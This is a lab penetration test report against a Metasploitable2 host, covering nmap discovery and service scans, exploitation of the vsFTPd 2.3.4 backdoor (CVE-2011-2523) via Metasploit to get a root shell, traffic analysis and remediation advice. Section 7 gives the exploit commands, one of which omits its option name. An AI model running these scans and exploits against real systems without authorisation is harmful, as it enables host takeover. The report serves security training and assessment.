Vulnerability Assessment & Penetration Test Report

Target: 10.0.2.0/24 (Lab Network)
Tester: buggy
Environment: Kali Linux attacker, Metasploitable2 target (VirtualBox)
Date: 28/02/2026

1. Executive Summary

A controlled penetration test was conducted against a vulnerable lab host within the 10.0.2.0/24 network. The assessment identified a critical remote command execution vulnerability in the FTP service (vsFTPd 2.3.4 backdoor, CVE-2011-2523). Successful exploitation resulted in root-level shell access, demonstrating full system compromise risk.

Risk Level: Critical
Impact: Complete host takeover
Attack Vector: Network (unauthenticated FTP)

2. Methodology

The engagement followed a standard VAPT lifecycle:

Reconnaissance → Port Scanning → Service Enumeration → Vulnerability Detection → Exploitation → Traffic Analysis → Reporting

Tools used:
* Nmap
* Nmap NSE
* Metasploit Framework
* Wireshark

3. Host Discovery

Command: nmap -v -F 10.0.2.0/24 -Pn
Result: One active host identified: 10.0.2.25
MAC: Oracle VirtualBox NIC
Evidence: `nmaphostdiscovery.txt`
Screenshots: link

4. Port Discovery

Command: nmap -sS 10.0.2.25 -p- -v
Finding: Multiple open ports detected including FTP (21).
Evidence: `nmapportdiscovery.txt`
Screenshots: link

5. Service Enumeration

Command: nmap -sV -A -v 10.0.2.25 -p-
Result: FTP service identified: vsFTPd 2.3.4
Evidence: `nmapservicediscovery.txt`

6. Vulnerability Detection (NSE)

Command: nmap -sV -p 21 --script "ftp-*" 10.0.2.25
Finding: vsFTPd 2.3.4 backdoor — VULNERABLE (CVE-2011-2523)
Exploitability: Remote root shell
Evidence: `nmapscriptscanning.txt`

7. Exploitation

Public exploit verified via Metasploit:

```
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set 10.0.2.25
exploit
```

Result: Root shell obtained: uid=0(root) gid=0(root)
This confirms full system compromise.
Evidence: `ws_msfexploitattion.txt`
Screenshots: link

8. Network Traffic Analysis

Wireshark captures confirmed:
* SYN scan behavior (half-open)
* FTP banner disclosure
* Backdoor trigger connection
* Reverse shell traffic

Capture files:
* ws_hostdiscovery.txt
* ws_portdiscovery.txt
* ws_servicediscovery.txt
* ws_scriptscanning.txt
* ws_msfexploitattion.txt

9. Risk Assessment
Vulnerability: vsFTPd 2.3.4 Backdoor
CVE: CVE-2011-2523
CVSS: 10.0 (Critical)

Impact
* Remote root access
* Full data compromise
* Persistence installation possible
* Lateral movement pivot

10. Remediation

Immediate actions:
* Remove vsFTPd 2.3.4
* Upgrade FTP service to secure version
* Restrict FTP access via firewall
* Disable anonymous FTP
* Monitor unusual FTP connections
* Implement IDS alerts for backdoor patterns

11. Conclusion

The assessment demonstrated that outdated and backdoored services can lead to immediate system compromise. Exploitation required no authentication and provided root-level access. Proper patching and service hardening would fully mitigate this risk.

12. Evidence Files

Nmap:
* nmaphostdiscovery.txt
* nmapportdiscovery.txt
* nmapservicediscovery.txt
* nmapscriptscanning.txt

Wireshark:
* ws_hostdiscovery.txt
* ws_portdiscovery.txt
* ws_servicediscovery.txt
* ws_scriptscanning.txt
* ws_msfexploitattion.txt

Screenshots:

links